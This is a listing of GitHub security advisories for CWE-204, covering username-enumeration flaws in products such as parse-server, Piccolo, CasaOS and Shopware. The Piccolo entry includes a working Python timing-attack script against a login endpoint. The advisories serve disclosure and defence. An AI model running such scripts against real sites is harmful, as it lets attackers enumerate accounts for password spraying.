CWE-204
AllowedObservable Response Discrepancy
Abstraction: Base · Status: Incomplete
The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.
297 vulnerabilities reference this CWE, most recent first.
GHSA-H29G-Q5C2-9H4F
Vulnerability from github – Published: 2026-03-19 18:21 – Updated: 2026-03-30 13:51Impact
The Pages route and legacy PublicAPI route for resending email verification links return distinguishable responses depending on whether the provided username exists and has an unverified email. This allows an unauthenticated attacker to enumerate valid usernames by observing different redirect targets. The existing emailVerifySuccessOnInvalidEmail configuration option, which is enabled by default and protects the API route against this, did not apply to these routes.
Patches
The email verification resend routes now respect the emailVerifySuccessOnInvalidEmail option. When set to true (the default), both routes redirect to the success page regardless of the outcome, preventing user enumeration.
Workarounds
There is no known workaround to prevent the information disclosure other than upgrading.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.6.0-alpha.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33323"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T18:21:18Z",
"nvd_published_at": "2026-03-24T19:16:52Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe Pages route and legacy PublicAPI route for resending email verification links return distinguishable responses depending on whether the provided username exists and has an unverified email. This allows an unauthenticated attacker to enumerate valid usernames by observing different redirect targets. The existing `emailVerifySuccessOnInvalidEmail` configuration option, which is enabled by default and protects the API route against this, did not apply to these routes.\n\n### Patches\n\nThe email verification resend routes now respect the `emailVerifySuccessOnInvalidEmail` option. When set to `true` (the default), both routes redirect to the success page regardless of the outcome, preventing user enumeration.\n\n### Workarounds\n\nThere is no known workaround to prevent the information disclosure other than upgrading.",
"id": "GHSA-h29g-q5c2-9h4f",
"modified": "2026-03-30T13:51:06Z",
"published": "2026-03-19T18:21:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-h29g-q5c2-9h4f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33323"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10238"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10243"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/967aa57732202009b2389ce9ecb3130d53d657e5"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/fbda4cb0c5cbc8fad08a216823b6b64d4ae289c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server email verification resend page leaks user existence"
}
GHSA-H455-PHPH-2R6J
Vulnerability from github – Published: 2024-05-07 18:30 – Updated: 2024-07-03 18:39An issue was discovered in Logpoint before 7.4.0. An attacker can enumerate a valid list of usernames by observing the response time at the Forgot Password endpoint.
{
"affected": [],
"aliases": [
"CVE-2024-33856"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T16:15:08Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Logpoint before 7.4.0. An attacker can enumerate a valid list of usernames by observing the response time at the Forgot Password endpoint.",
"id": "GHSA-h455-phph-2r6j",
"modified": "2024-07-03T18:39:31Z",
"published": "2024-05-07T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33856"
},
{
"type": "WEB",
"url": "https://servicedesk.logpoint.com/hc/en-us/articles/18533583876253-Username-enumeration-using-the-forget-password-endpoint"
},
{
"type": "WEB",
"url": "https://servicedesk.logpoint.com/hc/en-us/categories/200832975-Knowledge-Center"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H524-GPVR-2PWW
Vulnerability from github – Published: 2025-10-06 09:30 – Updated: 2025-10-06 09:30For failed login attempts, the application returns different error messages depending on whether the login failed due to an incorrect password or a non-existing username. This allows an attacker to guess usernames until they find an existing one.
{
"affected": [],
"aliases": [
"CVE-2025-58586"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-06T07:15:35Z",
"severity": "MODERATE"
},
"details": "For failed login attempts, the application returns different error messages depending on whether the login failed due to an incorrect password or a non-existing username. This allows an attacker to guess usernames until they find an existing one.",
"id": "GHSA-h524-gpvr-2pww",
"modified": "2025-10-06T09:30:19Z",
"published": "2025-10-06T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58586"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf"
},
{
"type": "WEB",
"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H5XR-QQ75-6HF9
Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-10 21:31Pega Platform versions 7.1.0 through Infinity 25.1.0 are affected by a User Enumeration. This issue occurs during user authentication process, where a difference in response time could allow a remote unauthenticated user to determine if a username is valid or not. This only applies to deprecated basic-authentication feature and other more secure authentication mechanisms are recommended. A fix is being provided in the 24.1.4, 24.2.4, and 25.1.1 patch releases. Please note: Basic credentials authentication service type is deprecated started in 24.2 version: https://docs.pega.com/bundle/platform/page/platform/release-notes/security/whats-new-security-242.html.
{
"affected": [],
"aliases": [
"CVE-2025-62181"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T21:16:04Z",
"severity": "MODERATE"
},
"details": "Pega Platform versions 7.1.0 through Infinity 25.1.0 are affected by a User Enumeration. This issue occurs during user authentication process, where a difference in response time could allow a remote unauthenticated user to determine if a username is valid or not. This only applies to deprecated basic-authentication feature and other more secure authentication mechanisms are recommended. A fix is being provided in the 24.1.4, 24.2.4, and 25.1.1 patch releases. Please note: Basic credentials authentication service type is deprecated started in 24.2 version: https://docs.pega.com/bundle/platform/page/platform/release-notes/security/whats-new-security-242.html.",
"id": "GHSA-h5xr-qq75-6hf9",
"modified": "2025-12-10T21:31:37Z",
"published": "2025-12-10T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62181"
},
{
"type": "WEB",
"url": "https://support.pega.com/support-doc/pega-security-advisory-j25-vulnerability-remediation-note"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7CM-MRVQ-WCFR
Vulnerability from github – Published: 2023-09-12 13:50 – Updated: 2023-09-20 17:45Summary
Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
The current implementation of BaseUser.login leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see here), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.
The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
This vulnerability relates to this code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.
For example, if a user does not exist then None is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.
If your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives here.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Piccolo Setup
- In a fresh environment
pip install 'piccolo[all]'andpiccolo asgi new - For simplified testing purposes, in
piccolo_conf.pymodify Piccolo to use SQLite:
from piccolo.engine.sqlite import SQLiteEngine
DB = SQLiteEngine()
- In the same file, add the required apps for session authentication. The file should look like the following:
from piccolo.engine.sqlite import SQLiteEngine
from piccolo.conf.apps import AppRegistry
DB = SQLiteEngine()
APP_REGISTRY = AppRegistry(
apps=[
"home.piccolo_app",
"piccolo_admin.piccolo_app",
"piccolo_api.session_auth.piccolo_app",
"piccolo.apps.user.piccolo_app",
]
)
- Run the following migrations:
piccolo migrations forwards user
piccolo migrations forwards session_auth
- Within
app.py, mountsession_loginat the/loginpath as follows:
from piccolo_api.session_auth.endpoints import session_login
app.mount("/login", session_login())
- Create a new user using
piccolo user create, making a note of the username and password for later steps.
Exploitation
The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.
import asyncio
import time
from collections import defaultdict
import httpx
number_of_attempts = 50
# Set this to the username from step 6.
valid_username = "skelmis"
invalid_username = "invalid"
data = defaultdict(lambda: [])
# Ensure this points to your current enviroment
local_base_url = "http://127.0.0.1:8000"
# Set this to the password from step 6.
valid_password = "disobey-blunt-kindly-postbox-tarantula"
invalid_password = "cabana-polar-secrecy-neurology-pacific"
async def make_request(username, password, session: httpx.AsyncClient):
start_time = time.time()
resp = await session.post(
f"{local_base_url}/login",
json={"username": username, "password": password},
follow_redirects=True,
)
end_time = time.time()
if username == valid_username and password == valid_password:
# Just sanity check expected passes are passing
assert resp.status_code == 200
resultant_time = end_time - start_time
data[f"{username}|{password}"].append(resultant_time)
async def main():
async with httpx.AsyncClient() as client:
# This is the baseline correct request
for _ in range(number_of_attempts):
await make_request(valid_username, valid_password, client)
await asyncio.sleep(0.1)
# This is for a valid user but invalid password
for _ in range(number_of_attempts):
await make_request(valid_username, invalid_password, client)
await asyncio.sleep(0.1)
# This is for an invalid user and password
for _ in range(number_of_attempts):
await make_request(invalid_username, invalid_password, client)
await asyncio.sleep(0.1)
r_1 = data[f"{valid_username}|{valid_password}"]
r_2 = data[f"{valid_username}|{invalid_password}"]
r_3 = data[f"{invalid_username}|{invalid_password}"]
r_1_sum = sum(r_1) / len(r_1)
r_2_sum = sum(r_2) / len(r_2)
r_3_sum = sum(r_3) / len(r_3)
print(
f"Average time to response as a valid user with a valid password: {r_1_sum}"
)
print(
f"Average time to response as a valid user with an invalid password: {r_2_sum}"
)
print(
f"Average time to response as an invalid user with an invalid password: {r_3_sum}"
)
if __name__ == "__main__":
asyncio.run(main())
N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination
Analysis
The following is the output from the PoC against pip install piccolo
The following is the output from the PoC against pip install git+https://github.com/piccolo-orm/piccolo.git.
I have included the results from both versions to highlight that this issue is not as a result of this pull request but as a result of the underlying logic in usage.
Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a password spray attack using common passwords in order to takeover user accounts on the platform.
Impact
What kind of vulnerability is it? Who is impacted?
This is an information disclosure vulnerability. It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.120.0"
},
"package": {
"ecosystem": "PyPI",
"name": "piccolo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.121.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41885"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-12T13:50:23Z",
"nvd_published_at": "2023-09-12T21:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThe current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it\u0027s own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.\n\nThe impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform.\nThe likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nThis vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.\n\nFor example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.\n\nIf your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/). \n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Piccolo Setup\n1. In a fresh environment `pip install \u0027piccolo[all]\u0027` and `piccolo asgi new`\n2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nDB = SQLiteEngine()\n```\n3. In the same file, add the required apps for session authentication. The file should look like the following:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nfrom piccolo.conf.apps import AppRegistry\n\n\nDB = SQLiteEngine()\n\nAPP_REGISTRY = AppRegistry(\n apps=[\n \"home.piccolo_app\",\n \"piccolo_admin.piccolo_app\",\n \"piccolo_api.session_auth.piccolo_app\",\n \"piccolo.apps.user.piccolo_app\",\n ]\n)\n```\n4. Run the following migrations:\n```text\npiccolo migrations forwards user\npiccolo migrations forwards session_auth\n```\n5. Within `app.py`, mount `session_login` at the `/login` path as follows:\n```python\nfrom piccolo_api.session_auth.endpoints import session_login\napp.mount(\"/login\", session_login())\n```\n6. Create a new user using `piccolo user create`, making a note of the username and password for later steps.\n\n#### Exploitation\nThe following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.\n\n```python\nimport asyncio\nimport time\nfrom collections import defaultdict\n\nimport httpx\n\nnumber_of_attempts = 50\n# Set this to the username from step 6.\nvalid_username = \"skelmis\"\ninvalid_username = \"invalid\"\ndata = defaultdict(lambda: [])\n# Ensure this points to your current enviroment\nlocal_base_url = \"http://127.0.0.1:8000\"\n# Set this to the password from step 6.\nvalid_password = \"disobey-blunt-kindly-postbox-tarantula\"\ninvalid_password = \"cabana-polar-secrecy-neurology-pacific\"\n\n\nasync def make_request(username, password, session: httpx.AsyncClient):\n start_time = time.time()\n resp = await session.post(\n f\"{local_base_url}/login\",\n json={\"username\": username, \"password\": password},\n follow_redirects=True,\n )\n end_time = time.time()\n if username == valid_username and password == valid_password:\n # Just sanity check expected passes are passing\n assert resp.status_code == 200\n\n resultant_time = end_time - start_time\n data[f\"{username}|{password}\"].append(resultant_time)\n\n\nasync def main():\n async with httpx.AsyncClient() as client:\n # This is the baseline correct request\n for _ in range(number_of_attempts):\n await make_request(valid_username, valid_password, client)\n await asyncio.sleep(0.1)\n\n # This is for a valid user but invalid password\n for _ in range(number_of_attempts):\n await make_request(valid_username, invalid_password, client)\n await asyncio.sleep(0.1)\n\n # This is for an invalid user and password\n for _ in range(number_of_attempts):\n await make_request(invalid_username, invalid_password, client)\n await asyncio.sleep(0.1)\n\n r_1 = data[f\"{valid_username}|{valid_password}\"]\n r_2 = data[f\"{valid_username}|{invalid_password}\"]\n r_3 = data[f\"{invalid_username}|{invalid_password}\"]\n\n r_1_sum = sum(r_1) / len(r_1)\n r_2_sum = sum(r_2) / len(r_2)\n r_3_sum = sum(r_3) / len(r_3)\n\n print(\n f\"Average time to response as a valid user with a valid password: {r_1_sum}\"\n )\n print(\n f\"Average time to response as a valid user with an invalid password: {r_2_sum}\"\n )\n print(\n f\"Average time to response as an invalid user with an invalid password: {r_3_sum}\"\n )\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nN.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination\n\n\n#### Analysis\n\nThe following is the output from the PoC against `pip install piccolo`\n\n\nThe following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`.\n\n\nI have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage.\n\nBoth of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is an information disclosure vulnerability. \nIt would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.",
"id": "GHSA-h7cm-mrvq-wcfr",
"modified": "2023-09-20T17:45:31Z",
"published": "2023-09-12T13:50:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo/security/advisories/GHSA-h7cm-mrvq-wcfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41885"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo/commit/edcfe3568382922ba3e3b65896e6e7272f972261"
},
{
"type": "PACKAGE",
"url": "https://github.com/piccolo-orm/piccolo"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/piccolo/PYSEC-2023-173.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Piccolo\u0027s current `BaseUser.login` implementation is vulnerable to time based user enumeration"
}
GHSA-H7JV-6RQ7-JWQH
Vulnerability from github – Published: 2024-03-19 12:30 – Updated: 2024-03-19 12:30User enumeration vulnerability in Devklan's Alma Blog that affects versions 2.1.10 and earlier. This vulnerability could allow a remote user to retrieve all valid users registered in the application just by looking at the request response.
{
"affected": [],
"aliases": [
"CVE-2024-1145"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-19T12:15:08Z",
"severity": "MODERATE"
},
"details": "User enumeration vulnerability in Devklan\u0027s Alma Blog that affects versions 2.1.10 and earlier. This vulnerability could allow a remote user to retrieve all valid users registered in the application just by looking at the request response.",
"id": "GHSA-h7jv-6rq7-jwqh",
"modified": "2024-03-19T12:30:41Z",
"published": "2024-03-19T12:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1145"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alma-devklan-blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCW2-2R9C-GC6P
Vulnerability from github – Published: 2024-04-01 15:48 – Updated: 2024-04-03 18:59Summary
The Casa OS Login page has disclosed the username enumeration vulnerability in the login page which was patched in CasaOS v0.4.7.
Details
It is observed that the attacker can enumerate the CasaOS username using the application response. If the username is incorrect the application gives the error "User does not exist" with success code "10006", If the password is incorrect the application gives the error "User does not exist or password is invalid" with success code "10013".
PoC
- If the Username is invalid application gives "User does not exist" with success code "10006".
- If the Password is invalid application gives "User does not exist or password is invalid" with success code "10013".
Impact
Using this error attacker can enumerate the username of CasaOS.
The logic behind the issue
The logic behind the issue If the username is incorrect, then throw an error "User does not exist" with success code "10006", else throw an error "User does not exist or password is invalid" with success code "10013".
This condition can be vice versa like:
If the password is incorrect, then throw an error "User does not exist or password is invalid" with success code "10013", else throw an error "User does not exist" with success code "10006".
Mitigation
Since this is the condition we have to implement a single error which can be "Username/Password is Incorrect!!!" with single success code.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/IceWhaleTech/CasaOS-UserService"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.7"
},
{
"fixed": "0.4.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.7"
]
}
],
"aliases": [
"CVE-2024-28232"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-01T15:48:15Z",
"nvd_published_at": "2024-04-01T17:15:45Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Casa OS Login page has disclosed the username enumeration vulnerability in the login page which was patched in `CasaOS v0.4.7`.\n\n### Details\n\nIt is observed that the attacker can enumerate the CasaOS username using the application response. If the username is incorrect the application gives the error \"**User does not exist**\" with success code \"**10006**\", If the password is incorrect the application gives the error \"**User does not exist or password is invalid**\" with success code \"**10013**\".\n\n### PoC\n\n1. If the Username is invalid application gives \"User does not exist\" with success code \"**10006**\".\n\n\n\n2. If the Password is invalid application gives \"**User does not exist or password is invalid**\" with success code \"**10013**\".\n\n\n\n\n### Impact\n\nUsing this error attacker can enumerate the username of CasaOS.\n\n### The logic behind the issue\n\nThe logic behind the issue\nIf the username is incorrect, then throw an error \"**User does not exist**\" with success code \"**10006**\", else throw an error \"**User does not exist or password is invalid**\" with success code \"**10013**\".\n\nThis condition can be vice versa like:\n\nIf the password is incorrect, then throw an error \"**User does not exist or password is invalid**\" with success code \"**10013**\", else throw an error \"**User does not exist**\" with success code \"**10006**\".\n\n### Mitigation\nSince this is the condition we have to implement a single error which can be \"**Username/Password is Incorrect!!!**\" with single success code.",
"id": "GHSA-hcw2-2r9c-gc6p",
"modified": "2024-04-03T18:59:29Z",
"published": "2024-04-01T15:48:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/IceWhaleTech/CasaOS-UserService/security/advisories/GHSA-hcw2-2r9c-gc6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28232"
},
{
"type": "WEB",
"url": "https://github.com/IceWhaleTech/CasaOS-UserService/commit/dd927fe1c805e53790f73cfe10c7a4ded3bc5bdb"
},
{
"type": "PACKAGE",
"url": "https://github.com/IceWhaleTech/CasaOS-UserService"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CasaOS Username Enumeration - Bypass of CVE-2024-24766"
}
GHSA-HH7J-6X3Q-F52H
Vulnerability from github – Published: 2025-04-08 14:50 – Updated: 2025-09-10 21:09Impact
Through the store-api it is possible as a attacker to check if a specific e-mail address has an account in the shop.
Using the store-api endpoint /store-api/account/recovery-password you get the response
{"errors":[{"status":"404","code":"CHECKOUT__CUSTOMER_NOT_FOUND","title":"Not Found","detail":"No matching customer for the email \u0022asdasfd@asdads.de\u0022 was found.","meta":{"parameters":{"email":"asdasfd@asdads.de"}}}]}
which indicates clearly that there is no account for this customer. In contrast you get a success response if the account was found.
Patches
Update to Shopware 6.6.10.3
Workarounds
For older versions of 6.5 or 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.10.2"
},
"package": {
"ecosystem": "Packagist",
"name": "shopware/core"
},
"ranges": [
{
"events": [
{
"introduced": "6.6.0.0"
},
{
"fixed": "6.6.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.10.2"
},
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "6.6.0.0"
},
{
"fixed": "6.6.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/core"
},
"ranges": [
{
"events": [
{
"introduced": "6.7.0.0-rc1"
},
{
"fixed": "6.7.0.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"6.7.0.0-rc1"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "6.7.0.0-rc1"
},
{
"fixed": "6.7.0.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"6.7.0.0-rc1"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.8.17"
},
"package": {
"ecosystem": "Packagist",
"name": "shopware/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.8.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.8.17"
},
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30150"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-08T14:50:13Z",
"nvd_published_at": "2025-04-08T14:15:34Z",
"severity": "MODERATE"
},
"details": "### Impact\nThrough the store-api it is possible as a attacker to check if a specific e-mail address has an account in the shop.\n\nUsing the store-api endpoint `/store-api/account/recovery-password` you get the response\n```\n{\"errors\":[{\"status\":\"404\",\"code\":\"CHECKOUT__CUSTOMER_NOT_FOUND\",\"title\":\"Not Found\",\"detail\":\"No matching customer for the email \\u0022asdasfd@asdads.de\\u0022 was found.\",\"meta\":{\"parameters\":{\"email\":\"asdasfd@asdads.de\"}}}]}\n```\n\nwhich indicates clearly that there is no account for this customer. In contrast you get a success response if the account was found.\n\n### Patches\nUpdate to Shopware 6.6.10.3\n\n### Workarounds\nFor older versions of 6.5 or 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.",
"id": "GHSA-hh7j-6x3q-f52h",
"modified": "2025-09-10T21:09:30Z",
"published": "2025-04-08T14:50:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/security/advisories/GHSA-hh7j-6x3q-f52h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30150"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopware/shopware"
},
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/releases/tag/v6.5.8.17"
},
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/releases/tag/v6.6.10.3"
},
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/releases/tag/v6.7.0.0-rc2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Shopware 6 allows attackers to check for registered accounts through the store-api"
}
GHSA-HHW5-J8RQ-43WG
Vulnerability from github – Published: 2025-01-29 18:31 – Updated: 2025-01-29 18:31IBM Aspera Faspex 5.0.0 through 5.0.10 could disclose sensitive username information due to an observable response discrepancy.
{
"affected": [],
"aliases": [
"CVE-2023-37413"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-29T17:15:26Z",
"severity": "MODERATE"
},
"details": "IBM Aspera Faspex 5.0.0 through 5.0.10 could disclose sensitive username information due to an observable response discrepancy.",
"id": "GHSA-hhw5-j8rq-43wg",
"modified": "2025-01-29T18:31:22Z",
"published": "2025-01-29T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37413"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7181814"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HHX9-GC5W-H4MC
